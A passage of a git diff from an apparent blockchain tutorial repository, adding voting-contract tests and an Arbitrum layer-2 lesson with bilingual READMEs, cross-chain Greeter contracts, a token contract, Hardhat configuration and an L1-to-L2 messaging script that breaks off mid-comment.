+      let firstProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await voteTool.hash(firstProposalBytes32)
+
+      // Add the first proposal
+      await voteTool.addProposal(firstProposalHashId)
+
+      // Second proposal context
+      let secondProposal = "Go to park"
+
+      // Bytes32 : "0x476f20746f207061726b00000000000000000000000000000000000000000000"
+      let secondProposalBytes32 = ethers.utils.formatBytes32String(secondProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let secondProposalHashId = await voteTool.hash(secondProposalBytes32)
+
+      // Add the first proposal
+      await voteTool.addProposal(secondProposalHashId)
+
+      // Get the total number of proposals
+      let proposalLength = await voteTool.getProposalLength()
+
+      // The proposal length should be 2
+      expect(proposalLength).to.equal(2)
+
+    })
+
+    it('We can cancel the proposal if we don not want it anymore', async function () {
+
+      // Proposal context
+      let proposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await voteTool.hash(proposalBytes32)
+
+      // Add Proposal
+      await voteTool.addProposal(proposalHashId)
+
+      // Get the proposal we just added, and check whether their value are correct
+      let [proposalName, voteCount, donationAmount,proposalStauts] = await voteTool.getProposal(0)
+
+      // Compare the proposalStauts
+      expect(proposalStauts).to.equal(1)
+
+      // Expire the proposal
+      await voteTool.expireProposal(proposalHashId)
+
+      // The status of proposal should be 2
+      ;[proposalName, voteCount, donationAmount,proposalStauts] = await voteTool.getProposal(0)
+
+      // Compare the proposalStauts
+      expect(proposalStauts).to.equal(2)
+
+    })
+  })
+
+
+  describe('Votes', function () {
+    // `it` is another Mocha function. This is the one you use to define your
+    // tests. It receives the test name, and a callback function.
+
+    it('User can not votes to a nonexist proposal', async function () {
+      //Connect to addr1, later we will use addr1 to send trans
+      voteTool.connect(addr1)
+
+      // Try to vote nonexist proposal
+      await expect(voteTool.vote(0,10)).to.be.revertedWith("not exists")
+    })
+
+    it('User try to vote a proposal, but do not have enough ETH', async function () {
+      // Proposal context
+      let proposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await voteTool.hash(proposalBytes32)
+
+      // Add Proposal
+      await voteTool.addProposal(proposalHashId)
+
+      //Connect to addr1, later we will use addr1 to send trans
+      let userContract = voteTool.connect(addr1)
+
+      // Try to vote first proposal with 10 votes
+      await expect(userContract.vote(proposalHashId,10)).to.be.revertedWith("not enough")
+    })
+
+    it('User vote a proposal successfully, and we can get user VoteNum', async function () {
+      // Proposal context
+      let proposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await voteTool.hash(proposalBytes32)
+
+      // Add Proposal
+      await voteTool.addProposal(proposalHashId)
+
+      //Connect to addr1, later we will use addr1 to send trans
+      let userContract = voteTool.connect(addr1)
+
+      let overrides = {
+        // To convert Ether to Wei:
+        value: ethers.utils.parseEther("10.0")     // ether in this case MUST be a string
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+
+      // Try to vote first proposal with 2 votes
+      await userContract.vote(proposalHashId,2,overrides)
+
+      // Get user vote num
+      let userVoteNum = await userContract.getUserVoteNum(addr1.address,proposalHashId)
+
+      // Compare user vote num
+      expect(userVoteNum).to.equal(2)
+
+    })
+
+  })
+  
+})
diff --git a/basic/27-Arbitrum-layer2/.env.example b/basic/27-Arbitrum-layer2/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/27-Arbitrum-layer2/.gitignore b/basic/27-Arbitrum-layer2/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/27-Arbitrum-layer2/README-CN.md b/basic/27-Arbitrum-layer2/README-CN.md
new file mode 100644
index 000000000..a4ae19808
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/README-CN.md
@@ -0,0 +1,114 @@
+中文 / [English](./README.md)
+# Arbitrum
+
+与 optimism 差别在于： 交互式证明挑战
+
+Optimism 的争议解决比 Arbitrum 更依赖于以太坊虚拟机 (EVM)。当有人提交关于 Optimism 的挑战时，**整个有问题的交易都通过 EVM 运行**。相比之下，**Arbitrum 使用链下争议解决流程将争议减少到一笔交易中的一个步骤**。然后，协议将这个一步断言（而不是整个交易）发送到 EVM 进行最终验证。因此，从概念上讲，Optimism 的争议解决过程比 Arbitrum 简单得多。
+
+交互式证明的好处：
+
+1. 在乐观情况下效率更高;
+2. 在悲观情况下效率更高;
+3. 每笔交易更大的 gaslimit，合约大小不受限制;
+
+这意味着在有争议的交易的情况下，在 Arbitrum 的案例中，以太坊的最终确认比在 Optimism 的案例中延迟的时间更长。
+Arbitrum 争议解决的优势在于它在链上（即以太坊）交易成本方面更便宜。
+
+Optimism 的争议解决过程比 Arbitrum 更简单、更快捷，因为它只是通过 EVM 提供有争议的交易。这个速度在这里是 Optimism 的优势，因为争议可以快速解决，并且不会妨碍 rollup 链的未来进展。
+
+## Pipelining
+
+人们担心的是“多轮”争议解决程序，例如 Arbitrum 使用的一个程序。至少从理论上讲，垃圾邮件发送者可以通过发起一系列连续的挑战来阻止 Rollup 的进展，每个挑战都需要相当长的时间来解决。事实上，这是一个困扰 Arbitrum 之前迭代的问题。
+
+然而，Arbitrum 更新的协议适用于这个问题，一种称为“流水线（Pipelining）”的优雅解决方案。 流水线允许网络验证器继续处理交易以获得最终批准，即使先前处理的交易存在争议。 这创建的是最近处理但尚未完成的交易的“管道”，而不是阻止排序器处理交易和网络各方提交挑战的瓶颈。
+
+AVM 与 EVM 的不同：
+AVM 既支持执行交易，又支持证明（L1 合约相信某个断言是真的）
+
+## L1 to L2 messaging
+
+### Ethereum to Arbitrum: Retryable Tickets
+
+Retryable tickets are the Arbitrum protocol’s canonical method for passing generalized messages from Ethereum to Arbitrum. A retryable ticket is an L2 message encoded and delivered by L1; if gas is provided, it will be executed immediately. If no gas is provided or the execution reverts, it will be placed in the L2 retry buffer, where any user can re-execute for some fixed period (roughly one week).
+
+- <https://github.com/OffchainLabs/arbitrum-tutorials/tree/master/packages/greeter>
+
+### L2 to L1 messaging
+
+<https://github.com/OffchainLabs/arbitrum-tutorials/tree/master/packages/outbox-execute>
+
+### Gotchas
+
+Block Numbers: Arbitrum vs. Ethereum
+一个以太坊 block 可能包含多个 arbi 的多个 block
+blocktimestamp 使用的是 layer1 的；
+
+一些常用地址：
+https://developer.offchainlabs.com/docs/useful_addresses
+
+## Quick Start
+
+### depoly SimpleToken
+
+- 安装依赖
+
+  ```bash
+  yarn
+  ```
+
+- 配置环境变量  
+  复制 .env.example 文件为 .env 文件, 然后配置其中的 PRIVATE_KEY,INFURA_ID
+
+- 转 eth 到 arbitrum 测试网络  
+  因为 arbitrum 测试网络对应的是 rinkeby, 所以需要在 rinkeby 测试网络上有测试币 , 可以通过 [rinkeby 测试网](https://faucet.rinkeby.io/) 获取测试币.  
+  之后需要把 rinkeby 测试币转移到 arbitrum 二层网络上, 可以通过 [arbitrum bridge](https://bridge.arbitrum.io/) 进行操作, 测试币转移需要等待 10 mins 左右
+
+  测试币转移成功后, 通过 metaMask 可以看到在 arbitrum 上面的余额
+
+- 执行测试脚本
+
+  ```bash
+  npx hardhat run scripts/deploy.js --network arbitrum_rinkeby
+  ```
+
+  命令行输出 (421611 是 Arbitrum-Rinkeby 的 chainId)
+
+  ```bash
+  Network ChainId: 421611
+  Deploying contracts with the account: 0x....
+  Account balance: ...
+  Token address: 0x...
+  ```
+
+### L1 to L2
+
+```sh
+node ./scripts/L1toL2.js
+```
+
+output:
+
+```sh
+Arbitrum Demo: Cross-chain Greeter
+Lets
+Go ➡️
+...🚀
+
+Deploying L1 Greeter 👋
+deployed to 0x24b11e81B6477129f298e546c568C20e73b6DD5b
+Deploying L2 Greeter 👋👋
+deployed to 0x4998e921AC9Cd7ba3B2921aDA9dCedbDC1341465
+...
+```
+
+## 参考链接
+
+- <https://developer.offchainlabs.com/docs/inside_arbitrum>
+- Arbitrum github: <https://github.com/OffchainLabs>
+- 中文文档： <https://github.com/dysquard/Arbitrum_Doc_CN>
+- 与 op 对比: <https://medium.com/stakingbits/guide-to-arbitrum-and-setting-up-metamask-for-arbitrum-543e513cdd8b>
+- 很详细的原理介绍 <https://new.qq.com/omn/20210709/20210709A0CL6M00.html>
+- <https://github.com/dysquard/Arbitrum_Doc_CN/blob/master/2_%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%8D%8F%E8%AE%AE/>
+- rollup 详细解读: <https://q6rsx4wom8.feishu.cn/file/boxcnu89en45JWelsoUv8nIwdRc>
+- arbi 简介 <https://q6rsx4wom8.feishu.cn/file/boxcnu89en45JWelsoUv8nIwdRc>
+- 幕布树形图: <https://mubu.com/app/edit/clb/NIhGqZda80#m>
diff --git a/basic/27-Arbitrum-layer2/README.md b/basic/27-Arbitrum-layer2/README.md
new file mode 100644
index 000000000..8bfeaaa1e
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/README.md
@@ -0,0 +1,125 @@
+[中文](./README-CN.md) / English
+# Arbitrum
+
+The difference between Arbitrum and Optimism lies in the Interactive Proving challenge.
+
+Arbitrum is more dependent on Ethereum virtual machine (EVM). When someone submits a challenge in Optimism, **The transaction in question is run through EVM**. In contrast, **Arbitrum uses the off-chain dispute resolution process to reduce the dispute to one step in a transaction **. The protocol then sends this one-step assertion (rather than the entire transaction) to EVM for final validation. Therefore, conceptually speaking, the dispute resolution process of Optimism is much simpler than Arbitrum.
+
+Advantages of Interactive Proving:
+
+1. More efficient in the optimistic case;
+2. More efficient in the pessimistic case;
+3. Much higher per-tx gas limit;
+4. No limit on contract size
+5. More implementation flexibility
+
+This means that in the case of disputed transactions, in the case of Arbitrum, the final confirmation of Arbitrum will be delayed longer than that of Optimism.
+
+Arbitrum is cheaper in transaction cost in dispute settlement (in Layer1).
+
+The dispute resolution process of Optimism is simpler and faster than Arbitrum, because it only provides disputed transactions to EVM. Speed is an advantage of Optimism, because disputes can be resolved quickly and without interfering with future progress of the rollup chain.
+
+## The Arbitrum 2.0 protocol
+
+The current Arbitrum protocol makes important advances over the original Arbitrum protocol in that it supports multiple pipelined DAs In the new protocol, each state can have at most one DA following from it. If a DA has no following state, then anybody can create a DA that follows it, creating a new branch point. The result will be a tree of possible futures, like the one shown below.
+
+## AVM
+
+The Arbitrum Virtual Machine (AVM) is the interface between the Layer 1 and Layer 2 parts of Arbitrum. Layer 1 provides the AVM interface and ensures correct execution of the virtual machine.
+
+Every Arbitrum chain has a single AVM which does all of the computation and maintains all of the storage for everything that happens on the chain.
+
+Differences between AVM and EVM are motivated by the needs of Arbitrum's Layer 2 protocol and Arbitrum's use of a interactive proving to resolve disputes.
+
+### Gotchas
+
+Block Numbers: Arbitrum vs. Ethereum
+
+- One Ehtereum block may contain several Arbitrum's multiple block.
+- Arbitrum block use layer1's `blocktimestamp`
+
+Useful Addresses： <https://developer.offchainlabs.com/docs/useful_addresses>
+
+## L1 to L2 messaging
+
+### Ethereum to Arbitrum: Retryable Tickets
+
+Retryable tickets are the Arbitrum protocol’s canonical method for passing generalized messages from Ethereum to Arbitrum. A retryable ticket is an L2 message encoded and delivered by L1; if gas is provided, it will be executed immediately. If no gas is provided or the execution reverts, it will be placed in the L2 retry buffer, where any user can re-execute for some fixed period (roughly one week).
+
+- <https://github.com/OffchainLabs/arbitrum-tutorials/tree/master/packages/greeter>
+
+### L2 to L1 messaging
+
+<https://github.com/OffchainLabs/arbitrum-tutorials/tree/master/packages/outbox-execute>
+
+## Quick Start
+
+### depoly SimpleToken
+
+- install dependencies
+
+  ```bash
+  yarn
+  ```
+
+- config env variables  
+  copy .env.example file rename it to .env, then modify `PRIVATE_KEY` and `INFURA_ID`
+
+- switch network to arbitrum testnet (arbitrum rinkeby)
+
+  Because the testnet is arbitrum rinkeby, so we need get some test token from ethereum rinkeby network [rinkeby 测试网](https://faucet.rinkeby.io/).
+
+  Then transfer ethereum rinkeby test token to arbitrum testnet through [arbitrum bridge](https://bridge.arbitrum.io/) , it will take 10mins.
+
+  After a while, we can see balance on arbitrum testnet is not zero any more.
+
+- run script
+
+  ```bash
+  npx hardhat run scripts/deploy.js --network arbitrum_rinkeby
+  ```
+
+  output content (421611 is Arbitrum-Rinkeby chainId)
+
+  ```bash
+  Network ChainId: 421611
+  Deploying contracts with the account: 0x....
+  Account balance: ...
+  Token address: 0x...
+  ```
+
+### L1 to L2
+
+```sh
+node ./scripts/L1toL2.js
+```
+
+output:
+
+```sh
+Arbitrum Demo: Cross-chain Greeter
+Lets
+Go ➡️
+...🚀
+
+Deploying L1 Greeter 👋
+deployed to 0x24b11e81B6477129f298e546c568C20e73b6DD5b
+Deploying L2 Greeter 👋👋
+deployed to 0x4998e921AC9Cd7ba3B2921aDA9dCedbDC1341465
+...
+```
+
+## TODO
+
+- L2 to L1 messaging demo
+
+## Reference
+
+- <https://developer.offchainlabs.com/docs/inside_arbitrum>
+- Arbitrum github: <https://github.com/OffchainLabs>
+- Arbitrum docs-CN： <https://github.com/dysquard/Arbitrum_Doc_CN>
+- compare with OP: <https://medium.com/stakingbits/guide-to-arbitrum-and-setting-up-metamask-for-arbitrum-543e513cdd8b>
+- Difference between Arbitrum and Optimism: <https://new.qq.com/omn/20210709/20210709A0CL6M00.html>
+- Layer2 Rollup: <https://q6rsx4wom8.feishu.cn/file/boxcnu89en45JWelsoUv8nIwdRc>
+- arbi intro: <https://q6rsx4wom8.feishu.cn/file/boxcnu89en45JWelsoUv8nIwdRc>
+- Mubu tree graph: <https://mubu.com/app/edit/clb/NIhGqZda80#m>
diff --git a/basic/27-Arbitrum-layer2/contracts/Greeter.sol b/basic/27-Arbitrum-layer2/contracts/Greeter.sol
new file mode 100644
index 000000000..afdc93870
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/contracts/Greeter.sol
@@ -0,0 +1,18 @@
+// SPDX-License-Identifier: Apache-2.0
+pragma solidity >=0.6.11;
+
+contract Greeter {
+    string greeting;
+
+    constructor(string memory _greeting) public {
+        greeting = _greeting;
+    }
+
+    function greet() public view returns (string memory) {
+        return greeting;
+    }
+
+    function setGreeting(string memory _greeting) public virtual {
+        greeting = _greeting;
+    }
+}
\ No newline at end of file
diff --git a/basic/27-Arbitrum-layer2/contracts/GreeterL1.sol b/basic/27-Arbitrum-layer2/contracts/GreeterL1.sol
new file mode 100644
index 000000000..51654e030
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/contracts/GreeterL1.sol
@@ -0,0 +1,60 @@
+// SPDX-License-Identifier: Apache-2.0
+pragma solidity >=0.6.11;
+
+import "arb-bridge-eth/contracts/bridge/Inbox.sol";
+import "arb-bridge-eth/contracts/bridge/Outbox.sol";
+import "./Greeter.sol";
+
+contract GreeterL1 is Greeter {
+    address public l2Target;
+    IInbox public inbox;
+
+    event RetryableTicketCreated(uint256 indexed ticketId);
+
+    constructor(
+        string memory _greeting,
+        address _l2Target,
+        address _inbox
+    ) public Greeter(_greeting) {
+        l2Target = _l2Target;
+        inbox = IInbox(_inbox);
+    }
+
+    function updateL2Target(address _l2Target) public {
+        l2Target = _l2Target;
+    }
+
+    function setGreetingInL2(
+        string memory _greeting,
+        uint256 maxSubmissionCost,
+        uint256 maxGas,
+        uint256 gasPriceBid
+    ) public payable returns (uint256) {
+        bytes memory data = abi.encodeWithSelector(Greeter.setGreeting.selector, _greeting);
+        uint256 ticketID = inbox.createRetryableTicket{ value: msg.value }(
+            l2Target,
+            0,
+            maxSubmissionCost,
+            msg.sender,
+            msg.sender,
+            maxGas,
+            gasPriceBid,
+            data
+        );
+
+        emit RetryableTicketCreated(ticketID);
+        return ticketID;
+    }
+
+    /// @notice only l2Target can update greeting
+    function setGreeting(string memory _greeting) public override {
+        IBridge bridge = inbox.bridge();
+        // this prevents reentrancies on L2 to L1 txs
+        require(msg.sender == address(bridge), "NOT_BRIDGE");
+        IOutbox outbox = IOutbox(bridge.activeOutbox());
+        address l2Sender = outbox.l2ToL1Sender();
+        require(l2Sender == l2Target, "Greeting only updateable by L2");
+
+        Greeter.setGreeting(_greeting);
+    }
+}
\ No newline at end of file
diff --git a/basic/27-Arbitrum-layer2/contracts/GreeterL2.sol b/basic/27-Arbitrum-layer2/contracts/GreeterL2.sol
new file mode 100644
index 000000000..7237294e6
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/contracts/GreeterL2.sol
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: Apache-2.0
+pragma solidity >=0.6.11;
+
+import "arbos-precompiles/arbos/builtin/ArbSys.sol";
+import "arb-bridge-eth/contracts/libraries/AddressAliasHelper.sol";
+import "./Greeter.sol";
+
+contract GreeterL2 is Greeter {
+    ArbSys constant arbsys = ArbSys(100);
+    address public l1Target;
+
+    event L2ToL1TxCreated(uint256 indexed withdrawalId);
+
+    constructor(string memory _greeting, address _l1Target) public Greeter(_greeting) {
+        l1Target = _l1Target;
+    }
+
+    function updateL1Target(address _l1Target) public {
+        l1Target = _l1Target;
+    }
+
+    function setGreetingInL1(string memory _greeting) public returns (uint256) {
+        bytes memory data = abi.encodeWithSelector(Greeter.setGreeting.selector, _greeting);
+
+        uint256 withdrawalId = arbsys.sendTxToL1(l1Target, data);
+
+        emit L2ToL1TxCreated(withdrawalId);
+        return withdrawalId;
+    }
+
+    /// @notice only l1Target can update greeting
+    function setGreeting(string memory _greeting) public override {
+        // To check that message came from L1, we check that the sender is the L1 contract's L2 alias.
+        require(
+            msg.sender == AddressAliasHelper.applyL1ToL2Alias(l1Target),
+            "Greeting only updateable by L1"
+        );
+        Greeter.setGreeting(_greeting);
+    }
+}
\ No newline at end of file
diff --git a/basic/27-Arbitrum-layer2/contracts/SimpleToken.sol b/basic/27-Arbitrum-layer2/contracts/SimpleToken.sol
new file mode 100644
index 000000000..9f165ef57
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/contracts/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts-0.8/token/ERC20/presets/ERC20PresetMinterPauser.sol";
+
+contract SimpleToken is ERC20PresetMinterPauser {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20PresetMinterPauser(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, initial_supply * (10**uint256(decimals_)));
+    }
+}
diff --git a/basic/27-Arbitrum-layer2/contracts/WETH9.sol b/basic/27-Arbitrum-layer2/contracts/WETH9.sol
new file mode 100644
index 000000000..a9e8d9acf
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/contracts/WETH9.sol
@@ -0,0 +1,10 @@
+pragma solidity >=0.6.0;
+
+
+
+interface WETH9 {
+    function deposit() external payable;
+    function transfer(address to, uint value) external returns (bool);
+    function withdraw(uint) external;
+    function balanceOf(address account) external view   returns (uint256) ;
+}
\ No newline at end of file
diff --git a/basic/27-Arbitrum-layer2/hardhat.config.js b/basic/27-Arbitrum-layer2/hardhat.config.js
new file mode 100644
index 000000000..ef25df784
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/hardhat.config.js
@@ -0,0 +1,76 @@
+require("@nomiclabs/hardhat-waffle");
+const fs = require("fs");
+require('dotenv').config()
+
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+ return process.env.PRIVATE_KEY;
+
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    "compilers": [
+      {
+        "version": "0.6.11",
+        "settings": {
+          "optimizer": {
+            "enabled": true,
+            "runs": 100
+          }
+        }
+      },
+      {
+        "version": "0.8.7",
+        "settings": {
+          "optimizer": {
+            "enabled": true,
+            "runs": 100
+          }
+        }
+      }
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: `https://rinkeby.infura.io/v3/${process.env.INFURA_ID}`, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    arbitrum: {
+      url: 'https://arb1.arbitrum.io/rpc',
+      accounts: [
+        mnemonic()
+      ],
+    },
+    arbitrum_rinkeby: {
+      url: 'https://rinkeby.arbitrum.io/rpc',
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
\ No newline at end of file
diff --git a/basic/27-Arbitrum-layer2/package.json b/basic/27-Arbitrum-layer2/package.json
new file mode 100644
index 000000000..086bf8838
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/package.json
@@ -0,0 +1,27 @@
+{
+  "name": "27-Arbitrum-layer2",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "npx hardhat test"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.5"
+  },
+  "devDependencies": {
+    "@arbitrum/sdk": "^1.1.4",
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "arb-bridge-eth": "^0.7.7",
+    "arb-shared-dependencies": "^1.0.0",
+    "arbos-precompiles": "^1.0.2",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/basic/27-Arbitrum-layer2/scripts/L1toL2.js b/basic/27-Arbitrum-layer2/scripts/L1toL2.js
new file mode 100644
index 000000000..37d3ed2fb
--- /dev/null
+++ b/basic/27-Arbitrum-layer2/scripts/L1toL2.js
@@ -0,0 +1,192 @@
+const { providers, Wallet } = require('ethers');
+const hre = require('hardhat');
+const ethers = require('ethers');
+const { hexDataLength } = require('@ethersproject/bytes');
+const { L1ToL2MessageGasEstimator } = require('@arbitrum/sdk/dist/lib/message/L1ToL2MessageGasEstimator');
+const { arbLog, requireEnvVariables } = require('arb-shared-dependencies');
+const { L1TransactionReceipt, L1ToL2MessageStatus } = require('@arbitrum/sdk');
+require('dotenv').config();
+
+/**
+ * Set up: instantiate L1 / L2 wallets connected to providers
+ */
+const walletPrivateKey = process.env.PRIVATE_KEY;
+
+const l1Provider = new providers.JsonRpcProvider(`https://rinkeby.infura.io/v3/${process.env.INFURA_ID}`);
+const l2Provider = new providers.JsonRpcProvider('https://rinkeby.arbitrum.io/rpc');
+
+const l1Wallet = new Wallet(walletPrivateKey, l1Provider);
+const l2Wallet = new Wallet(walletPrivateKey, l2Provider);
+
+// Address of the Arbitrum_rinkeby Inbox on the L1 chain
+INBOX_ADDR = '0x578bade599406a8fe3d24fd7f7211c0911f5b29e'; // rinkeby -> Arbitrum_one
+
+const main = async () => {
+  await arbLog('Cross-chain Greeter');
+
+  /**
+   * We deploy L1 Greeter to L1, L2 greeter to L2, each with a different "greeting" message.
+   * After deploying, save set each contract's counterparty's address to its state so that they can later talk to each other.
+   */
+  const L1Greeter = await (await hre.ethers.getContractFactory('GreeterL1')).connect(l1Wallet); //
+  console.log('Deploying L1 Greeter 👋');
+  const l1Greeter = await L1Greeter.deploy(
+    'Hello world in L1',
+    ethers.constants.AddressZero, // temp l2 addr
+    INBOX_ADDR
+  );
+  await l1Greeter.deployed();
+  console.log(`deployed to ${l1Greeter.address}`);
+  const L2Greeter = await (await hre.ethers.getContractFactory('GreeterL2')).connect(l2Wallet);
+
+  console.log('Deploying L2 Greeter 👋👋');
+
+  const l2Greeter = await L2Greeter.deploy(
+    'Hello world in L2',
+    ethers.constants.AddressZero // temp l1 addr
+  );
+  await l2Greeter.deployed();
+  console.log(`deployed to ${l2Greeter.address}`);
+
+  const updateL1Tx = await l1Greeter.updateL2Target(l2Greeter.address);
+  await updateL1Tx.wait();
+
+  const updateL2Tx = await l2Greeter.updateL1Target(l1Greeter.address);
+  await updateL2Tx.wait();
+  console.log('Counterpart contract addresses set in both greeters 👍');
+
+  /**
+   * Let's log the L2 greeting string
+   */
+  const currentL2Greeting = await l2Greeter.greet();
+  console.log(`Current L2 greeting: "${currentL2Greeting}"`);
+
+  console.log('Updating greeting from L1 to L2:');
+
+  /**
+   * Here we have a new greeting message that we want to set as the L2 greeting; we'll be setting it by sending it as a message from layer 1!!!
+   */
+  const newGreeting = 'Greeting from far, far away';
+
+  /**
+   * To send an L1-to-L2 message (aka a "retryable ticket"), we need to send ether from L1 to pay for the txn costs on L2.
+   * There are two costs we need to account for: base submission cost and cost of L2 execution. We'll start with base submission cost.
+   */
+
+  /**
+   * Base submission cost is a special cost for creating a retryable ticket; querying the cost requires us to know how many bytes of calldata out retryable ticket will require, so let's figure that out.
+   * We'll get the bytes for our greeting data, then add 4 for the 4-byte function signature.
+   */
+
+  const newGreetingBytes = ethers.utils.defaultAbiCoder.encode(['string'], [newGreeting]);
+  const newGreetingBytesLength = hexDataLength(newGreetingBytes) + 4; // 4 bytes func identifier
+
+  /**
+   * Now we can query the submission price using a helper method; the first value returned tells us the best cost of our transaction; that's what we'll be using.
+   * The second value (nextUpdateTimestamp) tells us when the base cost will next update (base cost changes over time with chain congestion; the value updates every 24 hours). We won't actually use it here, but generally it's useful info to have.
+   */
+  const l1ToL2MessageGasEstimate = new L1ToL2MessageGasEstimator(l2Provider);
+
+  const _submissionPriceWei = await l1ToL2MessageGasEstimate.estimateSubmissionPrice(
+    l1Provider,
+    await l1Provider.getGasPrice(),
+    newGreetingBytesLength
+  );
+
+  console.log(`Current retryable base submission price: ${_submissionPriceWei.toString()}`);
+
+  /**
+   * ...Okay, but on the off chance we end up underpaying, our retryable ticket simply fails.
+   * This is highly unlikely, but just to be safe, let's increase the amount we'll be paying (the difference between the actual cost and the amount we pay gets refunded to our address on L2 anyway)
+   * In nitro, submission fee will be charged in L1 based on L1 basefee, revert on L1 side upon insufficient fee.
+   */
+  const submissionPriceWei = _submissionPriceWei.mul(5);
+  /**
+   * Now we'll figure out the gas we need to send for L2 execution; this requires the L2 gas price and gas limit for our L2 transaction
+   */
+
+  /**
+   * For the L2 gas price, we simply query it from the L2 provider, as we would when using L1
+   */
+  const gasPriceBid = await l2Provider.getGasPrice();
+  console.log(`L2 gas price: ${gasPriceBid.toString()}`);
+
+  /**
+   * For the gas limit, we'll use the estimateRetryableTicketMaxGas method in Arbitrum SDK
+   */
+
+  /**
+   * First, we need to calculate the calldata for the function being called (setGreeting())
+   */
+  const ABI = ['function setGreeting(string _greeting)'];
+  const iface = new ethers.utils.Interface(ABI);
+  const calldata = iface.encodeFunctionData('setGreeting', [newGreeting]);
+
+  const maxGas = await l1ToL2MessageGasEstimate.estimateRetryableTicketMaxGas(
+    l1Greeter.address,
+    ethers.utils.parseEther('1'),
+    l2Greeter.address,
+    0,
+    submissionPriceWei,
+    l2Wallet.address,
+    l2Wallet.address,
+    100000,
+    gasPriceBid,
+    calldata
+  );
+  /**
+   * With these three values, we can calculate the total callvalue we'll need our L1 transaction to send to L2
+   */
+  const callValue = submissionPriceWei.add(gasPriceBid.mul(maxGas));
+
+  console.log(`Sending greeting to L2 with ${callValue.toString()} callValue for L2 fees:`);
+
+  const setGreetingTx = await l1Greeter.setGreetingInL2(
+    newGreeting, // string memory _greeting,
+    submissionPriceWei,
+    maxGas,
+    gasPriceBid,
+    {
+      value: callValue,
+    }
+  );
+  const setGreetingRec = await setGreetingTx.wait();
+
+  console.log(`Greeting txn confirmed on L1! 🙌 ${setGreetingRec.transactionHash}`);
+
+  const l1TxReceipt = new L1TransactionReceipt(setGreetingRec);
+
+  /**
+   * In principle, a single L1 txn can trigger any number of L1-to-L2 messages (each with its own sequencer number).
+   * In this case, we know our txn triggered only one
+   * Here, We check if our L1 to L2 message is redeemed on L2
+   */
+  const message = await l1TxReceipt.getL1ToL2Message(l2Wallet);
+  const status = await message.waitForStatus();
+  console.log(status);
+  if (status === L1ToL2MessageStatus.REDEEMED) {
+    console.log(`L2 retryable txn executed 🥳 ${message.l2TxHash}`);
+  } else {
+    console.log(`L2 retryable txn failed with status ${L1ToL2MessageStatus[status]}`);
+  }
+
+  /**
+   * Note that during L2 execution, a retryable's sender address is transformed to its L2 alias.
